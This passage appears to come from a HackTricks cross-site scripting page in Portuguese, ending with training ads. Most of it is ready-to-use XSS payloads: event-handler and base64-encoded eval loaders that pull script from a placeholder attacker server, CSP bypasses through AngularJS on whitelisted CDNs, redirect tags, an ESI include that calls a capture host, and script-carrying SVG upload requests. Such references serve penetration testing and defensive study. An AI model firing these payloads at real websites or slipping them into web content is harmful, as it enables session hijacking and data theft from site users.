"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Acessar Conteúdo Oculto
A partir de this writeup é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS de diferentes objetos. Por exemplo, um input de um REGEX ainda pode ser encontrado depois que o valor do input do regex foi removido:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Lista de Brute-Force
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Explorando outras vulnerabilidades
XSS em Markdown
É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Veja:
XSS para SSRF
Tem XSS em um site que usa caching? Tente elevar isso para SSRF através de Edge Side Include Injection com este payload:
<esi:include src="http://yoursite.com/capture" />
Use-o para contornar restrições de cookie, filtros XSS e muito mais!
More information about this technique here: XSLT.
XSS em PDF criado dinamicamente
Se uma página web está criando um PDF usando entrada controlada pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Então, se o bot criador de PDF encontra algum tipo de HTML tags, ele vai interpretá-las, e você pode abusar desse comportamento para causar um Server XSS.
Se você não puder injetar tags HTML pode valer a pena tentar injetar dados PDF:
XSS em Amp4Email
AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para vários recursos, acessíveis via AMP components.
O formato AMP for Email estende componentes AMP específicos para emails, permitindo que os destinatários interajam com o conteúdo diretamente dentro de seus emails.
Exemplo writeup XSS in Amp4Email in Gmail.
XSS com upload de arquivos (svg)
Faça upload como imagem de um arquivo como o seguinte (de http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Encontre mais SVG payloads em https://github.com/allanlw/svg-cheatsheet
Truques JS Diversos & Informações Relevantes
Misc JS Tricks & Relevant Info
Recursos XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
 - http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
 - https://github.com/ismailtasdelen/xss-payload-list
 - https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
 - https://netsec.expert/2020/02/01/xss-in-2020.html
 - https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
 
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks